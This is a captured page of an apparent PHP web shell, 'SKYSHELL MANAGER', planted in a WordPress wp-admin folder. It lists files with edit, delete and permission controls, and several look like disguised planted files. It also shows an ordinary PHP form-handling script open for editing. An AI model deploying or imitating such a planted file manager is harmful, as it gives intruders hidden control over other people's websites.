📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: requirement_submit.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; error_reporting(E_ALL); ini_set('display_errors', 1); // 1. Ensure user is authenticated if (!isset($_SESSION['user'])) { header("Location: index.php"); exit(); } // 2. Block direct GET access if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("Location: new-server-requirement.php"); exit(); } $user = $_SESSION['user']; $user_id = (int)($user['id'] ?? 0); $username = trim($_POST['username'] ?? $user['username'] ?? 'User'); // 3. Capture form inputs $company = trim($_POST['company'] ?? ''); $department = trim($_POST['department'] ?? ''); $team = trim($_POST['team'] ?? ''); $subnet = trim($_POST['subnet'] ?? ''); $class = trim($_POST['class'] ?? ''); $network_provider = trim($_POST['network_provider'] ?? ''); $hostname = trim($_POST['hostname'] ?? ''); $email_tracking = isset($_POST['email_tracking']) ? 1 : 0; $priority = $_POST['priority'] ?? 'medium'; $required_by = !empty($_POST['required_by']) ? $_POST['required_by'] : null; $notes = trim($_POST['notes'] ?? ''); if (empty($company) || $company === 'N/A') { $company = 'Default Company'; } $status = 'Order Placed'; $generated_req_id = 'NS-' . rand(1000, 9999); // 4. Fetch existing columns from server_requests table dynamically $existingColumns = []; $colRes = $conn->query("SHOW COLUMNS FROM server_requests"); if ($colRes) { while ($row = $colRes->fetch_assoc()) { $existingColumns[] = $row['Field']; } } // Map all potential form fields to their values and types $dataMap = [ 'request_id' => ['val' => $generated_req_id, 'type' => 's'], 'user_id' => ['val' => $user_id, 'type' => 'i'], 'username' => ['val' => $username, 'type' => 's'], 'company' => ['val' => $company, 'type' => 's'], 'department' => ['val' => $department, 'type' => 's'], 'team' => ['val' => $team, 'type' => 's'], 'subnet' => ['val' => $subnet, 'type' => 's'], 'class' => ['val' => $class, 'type' => 's'], 'network_provider' => ['val' => $network_provider, 'type' => 's'], 'hostname' => ['val' => $hostname, 'type' => 's'], 'email_tracking' => ['val' => $email_tracking, 'type' => 'i'], 'priority' => ['val' => $priority, 'type' => 's'], 'required_by' => ['val' => $required_by, 'type' => 's'], 'notes' => ['val' => $notes, 'type' => 's'], 'status' => ['val' => $status, 'type' => 's'] ]; // 5. Build query dynamically using ONLY columns that exist in DB $insertFields = []; $placeholders = []; $bindTypes = ''; $bindValues = []; foreach ($dataMap as $column => $info) { if (in_array($column, $existingColumns)) { $insertFields[] = $column; $placeholders[] = '?'; $bindTypes .= $info['type']; $bindValues[] = $info['val']; } } if (empty($insertFields)) { $_SESSION['error'] = "No matching table columns found in server_requests."; header("Location: new-server-requirement.php"); exit(); } $sql = "INSERT INTO server_requests (" . implode(', ', $insertFields) . ") VALUES (" . implode(', ', $placeholders) . ")"; $stmt = $conn->prepare($sql); if (!$stmt) { $_SESSION['error'] = "Database error during query preparation: " . $conn->error; header("Location: new-server-requirement.php"); exit(); } // Bind parameters dynamically $stmt->bind_param($bindTypes, ...$bindValues); // 6. Execute insert & Log into Timeline History if ($stmt->execute()) { $inserted_id = $stmt->insert_id; $display_id = in_array('request_id', $insertFields) ? $generated_req_id : "#" . $inserted_id; // --- TIMELINE HISTORY LOGGING FIX --- try { $actorRoleFormatted = "User (" . $username . ")"; $actionNote = "Your order placed successfully"; // Insert into request_history table (used by get_history.php and update_status.php) $histCheck = $conn->query("SHOW TABLES LIKE 'request_history'"); if ($histCheck && $histCheck->num_rows > 0) { $histSql = "INSERT INTO request_history (request_id, from_status, to_status, action_notes, actor_role) VALUES (?, 'New', 'Order Placed', ?, ?)"; $histStmt = $conn->prepare($histSql); if ($histStmt) { $histStmt->bind_param("iss", $inserted_id, $actionNote, $actorRoleFormatted); $histStmt->execute(); } } } catch (Throwable $e) { error_log("Timeline Logging failed: " . $e->getMessage()); } $_SESSION['success'] = "Server requirement submitted successfully! Request ID: " . $display_id; header("Location: new-server-status.php"); exit(); } else { $_SESSION['error'] = "Failed to submit request: " . $stmt->error; header("Location: new-server-requirement.php"); exit(); }
Save